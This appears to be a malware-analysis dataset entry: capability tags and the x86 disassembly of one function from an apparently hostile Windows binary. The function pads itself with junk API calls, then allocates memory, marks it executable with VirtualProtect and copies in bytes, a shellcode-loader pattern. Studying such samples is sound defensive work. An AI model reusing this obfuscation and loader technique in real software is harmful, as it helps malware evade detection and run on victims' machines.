Function at 0x405222
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Move file
Read file on windows
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1834
call fcn.0040e8c0
push ebx
push esi
xor esi, esi
cmp dword [0x5af138], 0x5b1
push edi
jne 0x4052e9
push esi
lea eax, [ebp - 0x830]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push 0x40497c
push esi
call fcn.00405c8f
push esi
call fcn.00406347
add esp, 0xc
push esi
push esi
push esi
push esi
call fcn.00405f46
pop ecx
pop ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404ee0
fstp st(0)
push ecx
push ecx
mov eax, esp
mov dword [eax], esi
push ecx
mov dword [eax + 4], esi
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404f03
fstp st(0)
push esi
call fcn.00405a82
pop ecx
push esi
push esi
call fcn.00405fea
push esi
call fcn.00405bb4
pop ecx
pop ecx
mov dword [esp], esi
call fcn.00404f36
fstp st(0)
push esi
call fcn.0040691d
add dword [0x5af138], 0x1134b
push dword [0x5af138]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push dword [0x5af138]
mov dword [0x5ae08c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp dword [0x5af138], esi
jbe 0x405373
cmp dword [0x5af138], 0xa8
mov eax, dword [0x5af13c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x5ae08c]
mov byte [ecx + edi], al
jne 0x40536a
push esi
lea eax, [ebp - 0xc30]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x430]
push eax
push 0x404984
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
inc edi
cmp edi, dword [0x5af138]
jb 0x405322
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
mov dword [ebp - 4], esi
mov eax, dword [0x5af138]
mov ecx, dword [ebp - 4]
add eax, ecx
cmp eax, 0xe
jne 0x40546d
push esi
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push 0x4049a8
push 0x404a78
push 0x404acc
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push esi
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x430]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0x404b08
push esi
call ebx
push esi
lea eax, [ebp - 0x1030]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push 0x404b14
push esi
call dword [sym.imp.USER32.dll_LoadBitmapA]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
xor eax, eax
mov word [ebp - 0x24], ax
lea edi, [ebp - 0x22]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x1830]
push eax
push 0x404b20
lea eax, [ebp - 0x24]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x404bf8
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x39621
jl 0x40537c
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp dword [ebp - 4], 0x206d47
jg 0x4054ad
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x4f6a4
jl 0x405486
mov dword [ebp - 4], 0x4e320c
push esi
push esi
call ebx
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec dword [ebp - 4]
jne 0x4054b4
call fcn.0040514f
xor ebx, ebx
push esi
call edi
cmp ebx, 0x26
jne 0x4054e0
call fcn.00405208
inc ebx
cmp ebx, 0x6753f
jl 0x4054d3
push 0x7b
pop edi
cmp dword [0x5af138], 0x86
jne 0x40554a
push esi
lea eax, [ebp - 0x1830]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x404bd4
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileType]
push esi
push esi
push 0x404cb0
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0x404cd8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec edi
jne 0x4054ec
push 0x404d88
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
leave
ret